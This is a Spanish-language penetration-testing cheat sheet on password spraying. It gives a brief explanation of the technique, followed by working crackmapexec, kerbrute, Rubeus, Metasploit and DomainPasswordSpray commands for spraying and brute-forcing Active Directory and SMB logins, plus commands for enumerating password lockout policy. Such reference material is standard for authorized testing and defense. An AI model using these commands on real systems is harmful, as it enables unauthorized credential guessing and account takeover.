Password Spraying
Qué es?
El Password Spraying es una técnica de ataque cibernético que consiste en probar una sola contraseña común o débil contra una gran cantidad de nombres de usuario. A diferencia de otros métodos de ataque de fuerza bruta que prueban muchas contraseñas en un solo usuario, el password spraying aplica una contraseña (generalmente una conocida por ser comúnmente utilizada o fácil de adivinar) en muchos usuarios. Esta técnica es efectiva en eludir políticas de bloqueo de cuentas que se activan tras varios intentos fallidos de acceso, ya que el ataque no supera el límite de intentos fallidos para un solo usuario. Es comúnmente utilizada en ataques contra sistemas de autenticación en línea, como interfaces de correo electrónico o servicios basados en la nube.
Comandos
Crackmapexe
crackmapexec smb 192.168.1.101 -u user1 user2 user3 -p Summer18
crackmapexec smb 192.168.1.101 -u user1 -p password1 password2 password3
crackmapexec smb 192.168.1.101 -u /path/to/users.txt -p Summer18
crackmapexec smb 192.168.1.101 -u Administrator -p /path/to/passwords.txt
Política de contraseñas
# From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
enum4linux -u 'username' -p 'password' -P <IP>
rpcclient -U "" -N 10.10.10.10;
rpcclient $>querydominfo
ldapsearch -h 10.10.10.10 -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
# From Windows
net accounts
(Get-DomainPolicy)."SystemAccess" #From powerview
Kerbrute - Linux
# Password Spraying
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
# Brute-Force
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
Metasploit
use scanner/smb/smb_login

Rubeus - Windows
# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
DomainPasswordSpray - windows
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
Referencias
Última actualización